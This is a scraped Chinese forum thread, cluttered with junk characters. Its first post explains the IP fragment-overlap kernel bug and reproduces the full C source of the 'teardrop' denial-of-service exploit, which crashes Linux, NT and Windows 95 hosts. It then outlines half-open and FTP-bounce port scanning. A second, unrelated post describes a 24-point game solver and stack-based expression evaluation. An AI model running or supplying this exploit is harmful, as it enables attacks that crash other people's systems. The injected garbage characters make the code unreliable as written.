, {0 ]- |6 V; D) M  s4 {" Wend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
7 X' K7 l* p1 k: ^2 g是这样处理的:5 `+ r0 r- A- Q
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)4 t% V. u9 R$ }8 u9 I
{( Z# U0 ~3 O6 t+ t% T' T, ], a
i = prev-&gt;end - offset;
& [4 S; ]+ k- Y0 V, a4 n) {! Toffset += i; /* ptr into datagram */
: M4 [' M# v  k+ G' jptr += i; /* ptr into fragment data */; _: G( x! ]( ]+ }" K) g9 k& a& p
}</P><P>/* Fill in the structure. */
) h. p" z, U, ?- k/ k; ]* }" j/ Rfp-&gt;offset = offset;
! j4 O$ e/ R! h5 m4 g5 E$ B$ ^# V( Hfp-&gt;end = end;8 A! d$ r  Q* j$ Q8 b
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:- _8 R0 S( C7 ?) L9 t) Q( S& L7 T* Q
第一个碎片:mf=1 offset=0 payload=207 }* n6 F- y- d2 B- B8 O( z
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
8 s- |- r) m1 k3 i' Q& noffset=0
4 M. e9 I# {" r5 U, L这样第二个碎片的 end=9+10=19
4 D. M+ j4 v; B% V1 i6 Z2 Goffset=offset+(20-offset)=20* x8 s3 ^, Q" a$ d" z/ Y# y/ X6 _
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
, z( v3 S/ U- p4 L4 O8 u/*
& J! }, C" {6 f: h- |. [* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
4 i! T& r1 Z/ h* V/ h( L, i*
5 a! N/ n) H& a) K* Linux/NT/95 Overlap frag bug exploit
$ u+ l/ ~% S' y  T: @*
2 q# R# h  ~$ U( O; ~* h6 X* Exploits the overlapping IP fragment bug present in all Linux kernels and0 X; l. w1 [, X4 J* `
* NT 4.0 / Windows 95 (others?)
) @: L2 k  e; L) P3 b) g*
' X+ J- V: U3 X* s7 A* Based off of: flip.c by klepto5 H9 [0 ?! }$ C$ B0 x  @
* Compiles on: Linux, *BSD*
1 E" b: E" |% h2 v% H( P1 F% r+ X; }*
9 h, I) j* A6 Y. b3 k7 Q8 ?* gcc -O2 teardrop.c -o teardrop1 [  _/ J4 v' p( ]5 f% w  ^; ]7 X  ~
* OR
! H# H" Y3 \  O! o* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
! ?! o/ ?9 D4 u8 s4 `. C# q7 U4 H*/</P><P>#include <STDIO.H>
% v/ P* I- w9 g" V% B+ ^! ^#include <STDLIB.H>
4 a3 R" G6 ?! {# a1 g# w7 o#include <UNISTD.H>6 @% e0 \/ ^! g% R
#include <STRING.H>
2 n) h" x& U5 [, _( Q#include <NETDB.H>3 {- k/ b7 Z' ?6 j2 p' G
#include <NETINET in.h>5 D( v6 Y) c% |2 d" @" y5 \$ u
#include <NETINET udp.h>
* ?7 |1 R2 K/ e/ V#include <ARPA inet.h>
! N" G4 x; C: i0 w$ E* z5 F#include <SYS types.h>% j# Z6 v1 K1 a+ ~
#include <SYS time.h>0 Q9 \4 Q' k5 S1 k; g  }8 D  D2 W
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
1 g7 S9 o. _5 Z) ?  S: s/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
  P; {+ a/ f( C" Y, ^* x& h  v* c#define FIX(n) (n)
2 ~) E) |8 Z5 \/ E#else /* OpenBSD 2.1, all Linux */
8 I$ f+ `4 n( l#define FIX(n) htons(n): H* \4 D# J$ ^
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
1 p  n8 [8 g& V#define IPH 0x14 /* IP header size */
; `. i; Q, a* f# j6 f( Z#define UDPH 0x8 /* UDP header size */
/ l8 O5 [" r: t" M( G  c/ B9 H  u8 ]#define PADDING 0x1c /* datagram frame padding for first packet */! p' Z7 l+ i) w9 H: C# u3 |
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */# ^: H& Y9 a9 i; a- t# r0 d3 R
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
# Z: p( A. K  z& \$ M+ [7 N* withstand maybe 5 or 10 sometimes... Experiment.1 ]6 j' T/ ~/ r0 q  ^- e( w# u+ z
*/</P><P>void usage(u_char *);" {1 I  T7 N  A
u_long name_resolve(u_char *);
9 C# ?" P0 o& P9 X* ~6 N& Ju_short in_cksum(u_short *, int);
) l+ U9 z. M- w: P) Zvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
, ]  F& |9 R; R9 F{
3 R( j6 ]2 B( Y, `8 Lint one = 1, & |4 s' T% T- a# h- Q
count = 0,
# Z6 g! [0 I4 k7 V7 J7 @, j; _i,
1 C7 v& L$ A/ c- p, ~& B5 irip_sock;) ^; l$ \2 [. B8 Y4 _
u_long src_ip = 0, dst_ip = 0;5 s' Y: D0 h8 O9 c$ }1 [
u_short src_prt = 0, dst_prt = 0;
3 Y3 @$ G% l2 }( u6 P) T0 fstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
' {; _& o! y/ e2 \5 O( m( a  pif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
( o& c. H! Z2 a- M{
+ u4 E& w; l) ^7 Mperror("raw socket");5 ~# j% A6 N# u* |- F2 n: `! ^
exit(1);8 C4 w7 z1 v" e$ G  f: C/ S
}
% A2 l& D( v" j9 E8 |0 z//由系统处理IP校验和。- C* Z: Y. d. R% s% J5 [
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
# W4 {3 M9 Q7 X$ C0 E% @&lt; 0)
8 N. y5 H# c' n+ y7 k7 o{
% X* K- ^0 R* Tperror("IP_HDRINCL");
8 b+ V3 m# c; _1 p4 uexit(1);
" b' B3 ^3 B- F  \* F# d}</P><P>if (argc &lt; 3) usage(argv[0]);# Q$ ^1 O. P' \2 l$ @. u9 g4 i
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))# A! o0 F8 L$ O- j
{
8 N  @( M  s* l/ \4 _' Q, h3 Mfprintf(stderr, "What the hell kind of IP address is that?\n");' e0 z+ L- ^5 q, t6 g6 Y7 K  f
exit(1);
9 ^6 l& F6 T, O; x}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
) b+ c" d6 q& R" j- i& ]{; R$ Y- H' k8 N; J
switch (i)
$ Z" Q" Z' Q* e5 Y  B& M5 N3 X0 `- Q{! a5 c. G! L1 S5 e7 x
case 's': /* source port (should be emphemeral) */
$ K2 v8 Q4 n  f+ T( }5 }; l9 tsrc_prt = (u_short)atoi(optarg);# ], n* U5 e2 Q* w' ^& |: d" f
break;1 w8 O5 f& n0 Z! ^  G3 e
case 't': /* dest port (DNS, anyone?) */
- y$ q4 J4 R# D! tdst_prt = (u_short)atoi(optarg);: Z* p* a) U8 e& `( C/ }- V0 c; Z% B) M
break;# g. w. e4 j9 ]6 U& e7 O
case 'n': /* number to send */
+ X) h% G  V: o  Ocount = atoi(optarg);
  j5 \" @9 u" R- i1 ]break;0 G5 |/ R3 n" a8 Y2 O' t
default :
- h; e3 N0 r# q; g0 h4 W, Zusage(argv[0]);
7 t8 ?2 O% t8 S. j* mbreak; /* NOTREACHED */
$ X. q2 i  _3 @- Q# o" `. j}
8 [1 a# e' o: G  f8 m2 N}</P><P>srandom((unsigned)(time((time_t)0)));" w% O" U3 |; _* q& E! |: k; x9 P
if (!src_prt) src_prt = (random() % 0xffff);- u* {, n. e* J, r5 j4 v  J
if (!dst_prt) dst_prt = (random() % 0xffff);6 V6 j# L- y9 u, e5 i: d
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
- c7 D" ^# D* t$ laddr.s_addr = src_ip;
, g" U  A; N1 Xfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);5 |% f/ l9 Z6 i) _) B
addr.s_addr = dst_ip;" E0 _$ O' P' ^/ u2 ]
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);8 T4 y6 q" H& `
fprintf(stderr, " Amt: %5d\n", count);
- x4 g" o. f$ v9 p( cfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
. c8 ?$ {3 p6 |7 l5 @) B3 U" h{
( ~0 _8 n$ L- ^' f( M1 Z/ \send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
/ N7 J' @# _5 P3 _" s* ^. Vfprintf(stderr, "b00m ");- |# ]* J* x' z% y5 ?
usleep(500);3 S8 f2 f! ~" m: D$ J. u
}$ }7 t' X# {( k; J6 ]! E8 J
fprintf(stderr, "]\n");
% V  o% F1 n; q& hreturn (0);" I+ B- |' Q, D1 f( i' f& ^1 x
}</P><P>/*
4 Z8 D( W# A; W. t) Y9 y* Send two IP fragments with pathological offsets. We use an implementation" {: O( G- V1 Q! O# G9 `) u2 K
* independent way of assembling network packets that does not rely on any of% O$ W1 m+ h& m  h3 ^( V2 L
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
2 s6 M, g) y, M  f1 F  n* X8 q*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,; p7 }9 w: {4 e5 K& ~0 k
u_short dst_prt)& D! ^' a+ ^, y7 a
{
% h0 s. P  s, }6 Vu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */  i3 a; W% A: G9 a9 b; w' A
u_char byte; /* a byte */4 d" ?8 D6 Q& o; C* Q& Z2 u$ w
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
# ?% Q. I4 |9 X* Ysin.sin_port = src_prt;4 z1 _, E; Y# i
sin.sin_addr.s_addr = dst_ip;</P><P>/*) w7 K; W- p" d7 o4 i; H; _
* Grab some memory for our packet, align p_ptr to point at the beginning; u0 e9 B$ m5 |, E$ E5 u1 V( w
* of our packet, and then fill it with zeros.; |& B4 U8 G+ r' @7 O
*/
% R7 B$ v" c7 ~$ K# ]! Bpacket = (u_char *)malloc(IPH + UDPH + PADDING);
9 `  W$ C1 i$ n( P7 r- S6 j. I4 B: dp_ptr = packet;2 N# p4 l' i# S
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
  Y* n. j% o1 A3 @1 cmemcpy(p_ptr, &amp;byte, sizeof(u_char));
$ r& i3 [: W* e' {p_ptr += 2; /* IP TOS (skipped) */
# J) n7 ~3 n/ M& {# R+ k: u*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */- b! e6 u5 |2 E
p_ptr += 2;
& b/ u: H1 H- r; O. ~; H*((u_short *)p_ptr) = htons(242); /* IP id */
$ l2 N4 p( {) @. ^p_ptr += 2;
5 ]& C7 Y& I5 v5 a+ |1 m% C*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */5 _0 B3 J( t' V* {+ ^* a5 d
p_ptr += 2;2 V( _: Y# M* L5 L% F
*((u_short *)p_ptr) = 0x40; /* IP TTL */
& b/ _4 d4 r- gbyte = IPPROTO_UDP;' T5 b% w1 b* M. A
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));. G; k* ^" Y3 D* S0 F
p_ptr += 4; /* IP checksum filled in by kernel */
$ l. P% O. C' y- `/ \*((u_long *)p_ptr) = src_ip; /* IP source address */9 T, z8 ~* z+ C4 q3 _
p_ptr += 4;
! G% I+ q! v, Z  G3 Z- O9 M0 \& n*((u_long *)p_ptr) = dst_ip; /* IP destination address */) }% u+ Z' r; i0 e  M
p_ptr += 4;
" F. x% j3 ?, b9 J*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */- `  u% j; R- }, A3 k
p_ptr += 2;
. d3 y8 y' S5 S( m*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */; ~$ Q% \: p% |$ f1 ]
p_ptr += 2;
4 ?( B) X- `2 U8 t5 w7 U* Y% G& @2 g*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
3 u3 x: K& m. ]5 ksizeof(struct sockaddr)) == -1)
/ q3 o, E* z* o# H{' a. Y1 P( n  m7 N/ k4 O2 @
perror("\nsendto");8 i0 V; f" j- V1 G
free(packet);# R/ w! ~( V4 Z# m# |; F8 |
exit(1);
# w  ^  \6 C4 n" d% d4 A}</P><P>/* We set the fragment offset to be inside of the previous packet's
' o; z% s( y0 u; M  i. o9 _* payload (it overlaps inside the previous packet) but do not include
7 Z$ V2 c. i. Q) A$ N9 ^* enough payload to cover complete the datagram. Just the header will& G, S. q( q6 E" N
* do, but to crash NT/95 machines, a bit larger of packet seems to work
  I5 v1 Q/ K. }1 r% u6 j* better.
+ M+ i& `9 N8 F, r! v& ~*/( Q( N2 o; S, \, a8 r$ c# W+ R
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
' b* y* U  ~* [. G+ c$ A*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
4 o/ e& e, }4 I4 K( o$ D. w: i5 g- cp_ptr += 4; /* IP offset is 6 bytes into the header */2 M! C  [" S5 |
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
( K( N. _: @. u0 esizeof(struct sockaddr)) == -1)7 l+ W9 |0 B# k4 n
{0 p0 X' u. D5 y
perror("\nsendto");$ c1 d. V8 T9 c- F4 A. e+ w
free(packet);4 _, o) ^+ C* E5 n- a/ U. v$ q' y& j
exit(1);" Q9 P$ A% B7 t" [& S+ c. R
}
! P4 T! G1 w  J- P4 z% Vfree(packet);2 ?2 y  |) N. _1 f
}</P><P>u_long name_resolve(u_char *host_name)
( A% Q3 H$ K* T) u; v# @1 y{6 t; V. y0 _8 F
struct in_addr addr;
6 R/ R& W( G! q2 P. {; @struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
4 S/ A& J7 r, X' ~& z( {/ c{( F; n; r  m  Q9 B5 w  M5 T
if (!(host_ent = gethostbyname(host_name))) return (0);
, k' D( M0 e7 d: R" s) dbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
) I+ I5 D% O" F( i0 v/ P6 B}
- v! A5 Q* n# K: T/ V+ `  oreturn (addr.s_addr);
7 V7 R! y' h# t: X6 }$ Y}</P><P>void usage(u_char *name)
. V6 D) R+ O* N+ D8 V7 F4 [{$ R* {9 ?; F& R1 u$ l
fprintf(stderr,; c: A/ p' H9 N* c
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",' Z( {- a8 s- G1 l
name);
6 ^# a0 p- {( D0 H, F5 i/ a* ?exit(0);
6 N$ }$ `5 o& _0 ^}</P><P>- F! ?" i1 z2 ?8 Y! o' n4 ]
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: & x, J. \% v% ~/ D7 f6 x
(1) Half-open(半打开)
( t6 x" t$ Q2 k1 r% }# B5 l利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),4 G* Q( m# n8 [* D4 Z& }  P
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner+ d7 @, j5 m; Q' k& x+ \/ B* {
利用了FTP的port命令,例如可以这样作:0 }- L8 L3 x; |$ v9 S4 S
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
/ X1 _# N' R$ c7 t6 K值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则# C; x/ Q" L; h- k
该端口无服务。
; `8 @3 a% Y# t( _  Z" S9 J# Ptelnet 192.168.1.13 21. R# X: M8 J/ h" K/ c
Trying 192.168.1.13...
7 u) U! D, g+ _Connected to pp.bricks.org.9 z7 e; @8 E* q$ u$ ^3 m. o
Escape character is '^]'." c3 L9 E! {0 }! t, U8 n
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
8 J8 T% P; O$ I! YThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous7 J+ L' M% V! _
331 Guest login ok, send your complete e-mail address as password.
5 P. t* b1 G4 S1 u1 J0 Ppass aa@aa.aa5 h, R: {6 U+ Z. H8 G) p
230 Guest login ok, access restrictions apply.) \# V$ L2 \" y% i1 a# K# Y% t9 d
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.7 e/ K. {" a+ o, E) X
425 Can't build data connection: Connection refused.3 m+ X1 s+ K* |
//该端口未活动 : S3 a* U$ ?- w$ {) j4 S* \
150 Opening ASCII mode data connection for file list.$ H" t+ W$ D7 |8 [- m
226 Transfer complete.+ `0 {- V; P  I. J) J! R
//该端口活动中# t/ o7 O- _0 `3 r8 Z) P, p2 T5 L2 I
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
; W$ K" G( }  @9 G! E5 T8 h) ASYN|FIN ACK or SYN|ACK* RST
' v* b! h$ P* o# e) \# LACK Nothing RST  ^+ @- p& ^0 M9 X# Q- b9 m. Z
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport3 v0 c* z! x- G! g0 [
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,' B" _5 g* Z& h, C  [
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认6 e9 `, @" J, S
定它在向你做portscan。</P><P>notes:9 |" k2 U$ V5 t2 `$ x8 i
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),$ k; w7 r( R# V/ z, ]
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的+ U; h( |' X. o
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
$ J* L( o9 G- Y+ h& Q  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。+ m5 U  |. U9 D) g
0 N4 B2 k& E9 b; Z, A4 a
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
5 O# n* b' M6 z, t首先穷举的可行性问题。我把表达式如下分成三类——& S/ D) f/ K" g4 f! O
<FONT color=#ff0000>1、 无括号的简单表达式。2 a) u4 v: Y2 f
2、 有一个括号的简单表达式。
# a5 v0 i1 i' H* x% S3、 有两个括号的较复4、 杂表达式。  k, e, s$ a, [: X
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:. c, a: Z4 Y1 b8 g- {: F" ]
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */9 h0 O2 a8 U' B
/* c[] 存放四张牌的数组 */
* n; L2 Z1 _9 ]- ^2 o) q' [/* k[] c[]种四张牌的代号,其中k[I]=I+1。# P, T/ F6 X  `2 R& @' q
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */  i! k- W- o9 t4 E) v) F7 [6 V
/* kans[] 暂存生成的排列组合 */. B2 Q* e2 m5 g* p6 ?5 j
/* j 嵌套循环的次数 */
* J( s6 p5 T4 V7 J; ]int fans(c,k,ans,kans,j)
7 M  \/ o; x+ j5 Q6 L" Uint j,k[],c[];char ans[],kans[];5 f8 r, Y7 e) q
{ int i,p,q,r,h,flag,s[4],t[4][4];6 z- m2 D( a+ P" e3 f6 S1 I
for(p=0,q=0;p&lt;4;p++)' e6 m: w% I0 w) y5 R' O; R
{ for(r=0,flag=0;r<J;R++), ^% @$ z! A! }) w* v
if(k[p]!=kans[r]) flag++;( P/ l% {5 U; |" n
if(flag==j) t[j][q++]=k[p];; {- H6 \. I8 j+ u  W
}6 j7 R7 ]. a2 @5 X
for(s[j]=0;s[j]&lt;4-j;s[j]++)
! e2 E7 e% W- p6 d$ r{ kans[j]=t[j][s[j]];
$ O+ q, a9 b5 {  Nif(j==3) { for(h=0;h&lt;4;h++)
( ^7 \& o3 C$ }( k9 P) x4 l7 Hans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
- C3 F7 C. w: w4 R( O; f  K  g达式中的位置 */: G' R! t  i* A0 I3 ^$ n/ v
for(h=0;h&lt;3;h++)( v+ T& H  X, d( H" |
symbol(ans,h); /* 在表达式中添加运算符号 */
# N: \# ?# J1 s! A}5 K+ `. G, b+ S4 j  S/ j- G+ h$ t8 O
else { j++;
1 q- n. L8 m: z* K" V! q; s, lfans(c,k,ans,kans,j);
2 X" j  Q8 r' V: F; k/ oj--;
; E/ e/ S9 _  g; g8 s$ p}
/ \, k3 g$ }: d+ e, ]. m1 [) O% U}7 J/ x9 f" k) O$ J
}</FONT>* L" L: y: ]1 A" s# e  `* m
& f6 T5 M4 I$ D3 J4 X& H# D
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:" Z* I% O6 w0 ~3 n  ^" w

: ]9 k( p* Y9 E0 W<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
/ o8 z# ~, j/ |5 ?# n1 L7 w0 bint sans(ans,sy,j,h)
9 R9 ]$ G0 K7 S1 v1 _0 g; l$ o1 M8 @char ans[],sy[];int j,h;$ `* v! O6 Q, Y! R9 L& F
{ int i,p,k[3],m,n; char ktans[20];5 J8 O' Q1 E' ~6 \# Y
for(k[j]=0;k[j]&lt;4;k[j]++)( F1 ^9 T* U) \# r& f, @
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
2 p; s: q8 I7 c; \, R, s, k, R这里的三个运算符号分别存放在1、3、5位*/
- i0 [) D4 G, Z0 l; [4 u: T! Pif(j==2)' K+ e+ s7 j5 E" ^. q6 o
{ ans[5]=sy[k[j]];
% }2 @0 R) u* s8 S  Q2 F; u% p/* 此处根据不同的表达式形式再进行相应的处理 */
9 x7 R# ?1 J6 c2 U5 T; e& f}$ n: [; {" H: P5 |6 t0 H* F7 c2 B
else { j++; sans(ans,sy,j--,h); }
9 E% B; v0 z% k9 j- O1 n}
; ^: o- m" \6 F* R, P}$ g+ ?, f; ?6 f+ O

6 A' K/ {- N% M</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
: s" x+ A* _+ w; E7 H6 b) W3 V& E1 b; Jfor(m=0;m&lt;=4;m+=2)
6 A- E9 [+ w( a* e3 Afor(n=m+4;n&lt;=8;n+=2)
  B( t' A* O% h) M7 a( M% I1 K  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
5 q' j2 G# U1 n, R
3 V# X( W, U( o# |2 e  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。0 V, ^5 t$ A' t$ h
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
$ E2 [0 {7 H% c/ ?* \在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
: j+ _, x1 r/ K; w" }% V
3 X6 O9 \9 Z# s9 v" z8 v  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。! x% ]# }4 K& O% d

3 P* P( E0 r+ {! g  那么作为栈的著名应用,表达式的计算可以有两种方法。
5 l+ p; ~/ T! D( L$ a  X
8 s6 R  n5 Z; ~2 ~  <FONT color=#ff0000>第一种方法——</FONT>
- A5 p3 ?3 }  L& U' {  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。3 {9 d2 [- t& E
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
* X* \: u! `2 V, o$ n/ |( S( b1、 若W为操作数
$ [; p% c6 D( f2、 则将W压入操作数栈OVS0 k% m! P) S7 c
3、 且继续扫描下一个字符0 N4 R' a+ n0 P4 ?, g1 }& y6 T* w( Q
4、 若W为运算符" I! B' g+ F( D- M/ r; I+ S; i
5、 则根据运算符的性质做相应的处理:" |" F  ~. b& `$ \0 Y7 w
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
0 N  s* X8 F3 U: c(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
) s' w  p6 q$ v5 x# ^: G(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
6 G1 _( A; A6 ?' X(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
- }3 f1 R9 G" Y0 P
0 t) m) f( y: M+ a) }( ]/ u<FONT color=#ff0000>  第二种方法——</FONT>8 g7 c0 }7 p* f$ A& B6 a: d( A- \
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
. p7 y& _4 q9 i* F$ y1 g
8 T  R, M- _, S6 l4 U- Y. P3 r  z  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
% k: f  a2 k. L3 q
6 I! _$ n- v1 o# a   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
' f7 J# _& B; S表达式 波兰表达式
3 {" }8 f0 J# X$ K: VA-B AB-5 g! j, B% d  F9 H
(A-B)*C+D AB-C*D+1 m; B; o2 S7 O5 w1 B8 ~6 ]  h
A*(B+C/D)-E*F ABCD/+*EF*-
2 ]# _9 G1 \4 A2 J& f(B+C)/(A-D) BC+AD-/
; R( }7 U- K5 H& T$ L; z* r
8 A% i6 l9 g1 F' {1 C8 i! k  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
1 Z& ?/ H$ L( P. k
6 W0 R6 B4 ?! _: B  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。) Q- l  _  o/ ?- u
9 u! ?, \0 {# M# T
  下面给出转换和计算的具体实现程序——
7 O2 D5 ]! H0 x( ]3 d! u" l1 J& ^0 c: p1 i
